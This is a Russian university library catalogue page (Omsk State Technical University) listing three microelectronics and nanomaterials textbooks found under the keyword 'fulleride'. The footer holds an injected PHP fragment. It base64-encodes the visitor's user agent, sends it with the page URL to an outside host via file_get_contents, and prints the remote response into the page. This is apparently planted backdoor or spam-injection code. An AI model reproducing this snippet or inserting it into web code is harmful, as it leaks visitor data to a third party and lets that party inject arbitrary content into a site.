Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

143 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ФУЛЛЕРИД")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 3
1. 
Марголин, Владимир Игоревич. Физические основы микроэлектроники [Текст] : учеб. для вузов по специальности "Проектирование и технология радиоэлектронных средств" направления "Проектирование и технология электронных средств" / В. И. Марголин, В. А. Жабрев, В. А. Тупик, 2008. - 398, [1] с.
Ключевые слова 
УЧЕБНИК И ПОСОБИЕ * -- МАКРОМИР -- МИКРОМИР -- НАНОМИР -- ЭЛЕМЕНТАРНАЯ -- ЧАСТИЦА -- ВОЛНОВОЙ -- ДУАЛИЗМ -- БРОЙЛЬ -- ПРИНЦИП -- НЕОПРЕДЕЛЕННОСТЬ -- ГЕЙЗЕНБЕРГА -- ЗАПРЕТ -- ПАУЛИ -- УРАВНЕНИЕ -- ШРЕДИНГЕРА -- ТУННЕЛЬНЫЙ -- ЭФФЕКТ -- ЭЛЕКТРОН -- ФЕРМИ -- ЭНЕРГИЯ -- КРИСТАЛЛИЧЕСКАЯ -- РЕШЕТКА -- СИММЕТРИЯ -- КРИСТАЛЛ -- АМОРФНОЕ -- СОСТОЯНИЕ -- ПОЛУПРОВОДНИК -- ДИЭЛЕКТРИК -- МЕТАЛЛ -- СПЕКТР -- ЭНЕРГЕТИЧЕСКИЙ -- СВЯЗЬ -- МОЛЕКУЛЯРНАЯ -- ИОННАЯ -- КОВАЛЕНТНАЯ -- МЕТАЛЛИЧЕСКАЯ -- КВАЗИЧАСТИЦА -- ФОНОН -- МАГНОН -- ЭКСИТОН -- ПОЛЯРОН -- ФУЛЛЕРЕН -- УГЛЕРОД -- ФУЛЛЕРИД -- ФУЛЛЕРИТ -- ФРАКТАЛ -- КЛАСТЕР -- ФРАКТОН -- МУЛЬТИФРАКТАЛ -- БИФУРКАЦИЯ -- АТТРАКТОР -- БИПОЛЯРНЫЙ -- ТРАНЗИСТОР -- ПОЛЕВОЙ -- ИНВЕРТОР -- ЗАРЯДОВАЯ -- ТОНКАЯ -- ПЛЕНКА -- НАПЫЛЕНИЕ -- РАСПЫЛЕНИЕ -- ЭПИТАКСИЯ -- ЗОЛЬ -- ДИСПЕРСНАЯ -- СИСТЕМА -- ГЕЛЬ -- ЛИТОГРАФИЯ -- ФОТОЛИТОГРАФИЯ -- РЕНТГЕНОВСКАЯ -- ЭЛЕКТРОННАЯ -- ТРАВЛЕНИЕ -- ДИФФУЗИЯ -- ЛЕГИРОВАНИЕ -- ТЕРМИЧЕСКИЙ -- ОТЖИГ -- РЭМ -- МИКРОСКОПИЯ -- СПЕКТРОМЕТРИЯ -- ОЖЕ -- ЭЛЛИПСОМЕТРИЯ -- МИКРОСКОП -- АВТОИОННЫЙ -- СКАНИРУЮЩИЙ -- ТУННЕЛЬНЫЙ -- КОНФОКАЛЬНАЯ
Держатели документа (Информация об экземплярах) 

Изложены основы <квантовой> <механики>, <фрактальной> <физики>, <нелинейной> <динамики>. Рассмотрены физические основы основных технологических процессов микро- и <наноэлектроники>: получение <тонкопленочных> <структур>, создание и перенос <литографического> <изображения>, методы <контроля> и <метрологии>.

2. 
Кормилицын, Олег Павлович. Механика материалов и структур нано- и микротехники [Текст] : учеб. пособие для вузов по специальности "Проектирование и технология радиоэлектронных средств" направления подгот. "Проектирование и технология электронных средств" / О. П. Кормилицын, Ю. А. Шукейло, 2008. - 215, [1] с.
Ключевые слова 
УЧЕБНИК И ПОСОБИЕ * -- ДЕФЕКТ -- КРИСТАЛЛ -- ДЕФОРМАЦИЯ -- РАЗРУШЕНИЕ -- МОНОКРИСТАЛЛ -- МЕТАЛЛ -- ПОЛИКРИСТАЛЛИЧЕСКИЙ -- СПЛАВ -- СТАТИЧЕСКАЯ -- НАГРУЗКА -- УДАРНАЯ -- ПЕРЕМЕННАЯ -- НЕРАЗРУШАЮЩЕЕ -- ТРЕЩИНОСТОЙКОСТЬ -- ФУЛЛЕРИД -- НАНОТРУБКА -- УСТОЙЧИВОСТЬ -- ОБОЛОЧКА -- УГЛЕРОДНАЯ -- КЛЕТКА -- МЕТАЛЛИЧЕСКАЯ -- ПЛЕНКА -- ПОДЛОЖКА -- УЛЬТРАДИСПЕРСНАЯ -- ПОРИСТАЯ -- КЕРАМИКА -- ГИДРОКСИАПАТИТНАЯ -- БИОКЕРАМИКА -- ПРОЧНОСТЬ -- АДГЕЗИЯ -- УПРУГОЕ -- ТЕЛО -- ДИСЛОКАЦИЯ -- ГРИФФИТСА -- КРИТЕРИЙ -- СИНЕРГЕТИКА -- ТВЕРДОЕ -- НАНОТРИБОЛОГИЯ -- ТРЕЩИНА
Держатели документа (Информация об экземплярах) 

Изложены вопросы строения, структуры, а также механических свойств традиционных <конструкционных> материалов. Рассмотрено влияние различных факторов на свойства материалов. Перечислены возможные способы <испытания> образцов материалов и даны ссылки на соответствующие стандарты. Значительное внимание уделено вопросам изучения и определения свойств новых перспективных <нанокристаллических> материалов и конструкций из них. Рассмотрены вопросы описания состояния материалов с точки зрения традиционных подходов, а также <линейной> <механики> <разрушения>, <мезомеханики> и <молекулярной> <динамики>.

Для студентов высших учебных заведений.

3. 
Сорокин, Валерий Сергеевич. Материалы и элементы электронной техники [Текст] : учеб. для вузов по специальности 210100 "Электроника и микроэлектроника": в 2 т. Т. 1 : Проводники, полупроводники, диэлектрики, 2006. - 439, [1] с.
Держатели документа (Информация об экземплярах) 

Рассмотрены физические процессы и явления, протекающие в проводниках, полупроводниках и диэлектриках. Выявлены основные закономерности изменения свойств в зависимости от состава веществ и внешних возмущающих факторов. Проведен анализ электрических и магнитных свойств материалов в тесной взаимосвязи с их внутренним строением и практическим применением в приборах и устройствах электронной техники. Значительное внимание уделено новым материалам электроники: <высокотемпературным> <сверхпроводникам>, <полупроводниковым> <твердым> <растворам> и <сверхрешеткам> на их основе, <фуллеренам> и <углеродным> <нанотрубкам>, <аморфным> полупроводниковым материалам и <металлическим> <сплавам>.



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3023 - 19.09.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.57 с.12 запросов, 0.40c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;